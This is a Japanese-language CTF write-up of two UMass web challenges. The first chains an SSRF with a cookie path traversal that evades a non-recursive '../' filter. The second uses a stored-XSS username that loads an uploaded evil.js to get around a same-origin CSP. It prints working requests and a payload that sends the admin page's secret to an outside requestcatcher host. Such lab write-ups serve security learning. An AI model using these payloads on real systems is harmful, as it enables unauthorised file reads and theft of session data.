[web] DeepFried
ソースコードが与えられる。
パット見てどこにフラグがあるかわからないが、巡回すれば/restricted_memes/TheFlag.jpg
だけ
画像が違うのでこれを抜き出すことを考えてみる。
router.all('/restricted_memes/:img', async (req,res, next)=>{ if(req.ip === '::ffff:127.0.0.1') { next(); } else { return res.status(403).send("Unauthorized Request"); } })
のようにこのフォルダの閲覧は内部からに制限されているので、画像のアップロードをURLからとして
http://127.0.0.1:3000/restricted_memes/TheFlag.jpg
を送ってこれをアップロードしてもらうことにする。
するとSet-Cookie: 031052a5337bff63d6037ffec117e25d/TheFlag.jpg
のようにCookieにアップロード先がくっついてくるので、
/uploads/031052a5337bff63d6037ffec117e25d/TheFlag.jpg
にアクセスすると、See flag.txt in this directory for the flag.
と言われる。
LFIを探すと、POST /captionsubmit
に存在する。
cookieにアップロード先のパスが入っていて、使うときに../
が削除されているが再帰的に削除はしないので、
....//
のようにすると、1回だけ消されて../
と残すことが可能。
これでパストラバーサルできるので任意のファイルを持ってこれる。
router.post('/captionsubmit', async (req,res)=>{ let caption = req.body.caption; let image = req.headers.cookie; try { image = image.replaceAll('../',''); let fried = await fry(caption, image); res.set('Set-Cookie', fried); res.render(path.resolve('views/Returned.html'),{ caption: caption, fried: fried }) } catch (error) { return res.status(400).send("ERROR: Something went wrong while Frying"); } }) async function fry(caption,imagepath){ const data = fs.readFileSync(`uploads/${imagepath}`, 'base64'); try { let image = new Image(); ... return base64img; } catch (error) { return data; } }
後は、flag.txtを持ってくるだけ。
以下のようなリクエストでbase64エンコードされたフラグが持ってこれる。
POST /captionsubmit HTTP/1.1 Host: deepfried.web.ctf.umasscybersec.org:3000 Cookie: ..././..././..././..././..././FRY/restricted_memes/flag.txt Connection: close caption=asdf
[web] umassdining2
ソースコードが与えれる。
アドミンにGET /admin_dashboard
を踏ませると中身にフラグが含まれている。
XSSが達成できればよさそう。
ファイルをアップロードするたびにadminにユーザー名を見せることができる。
なお、ユーザー名でXSS可能。
だが、CSPとしてdefault-src 'self'
が付いている。
同時にファイルアップロード機能もあるので、これを使って読み込むのだろう。
router.post('/submit',middleware.authReq,(req,res)=>{ if(!req.user){return res.status(403).send('Unauthorized action!')} let file = req.files.submission; if(path.extname(file.name)!=='.png'){ res.status(400).send("Invalid file type. Expected \".png\"") } let dir = crypto.createHash('md5').update(req.user).digest('hex'); if(!fs.existsSync(`uploads/${dir}`)){ fs.mkdirSync(`uploads/${dir}`); } fs.writeFileSync(`uploads/${dir}/${file.name}`,file.data); getSub(req.user,file.name); res.send("Admin is gonna check this out."); })
ファイル末尾が.pngだと読み込めないが…と思ったが、.pngのif文の中で発行しているresにreturnが付いていないので、
アップロード自体は行われてしまう。
攻撃の流れとしては、まず以下のようなjsコードを用意する。
window.location.href="https://[yours].requestcatcher.com/t?f="+document.querySelector('secret').textContent;
これを適当にevil.jsみたいにアップロードして、URLを発行してもらう。
あとは、それを使って
<script src="/uploads/0b10813e85c20b58a023440d9f58d7e2/evil.js"></script>
のようなユーザー名の
ユーザーを作成して、適当にアップロードすると、ユーザー名を使ってXSSが発火され、
CSPも回避してフラグを読み取ることができる。
CSPでdefault-srcがselfなので、fetchとかではなくlocationによる遷移で情報を抜き出す必要があるのに注意。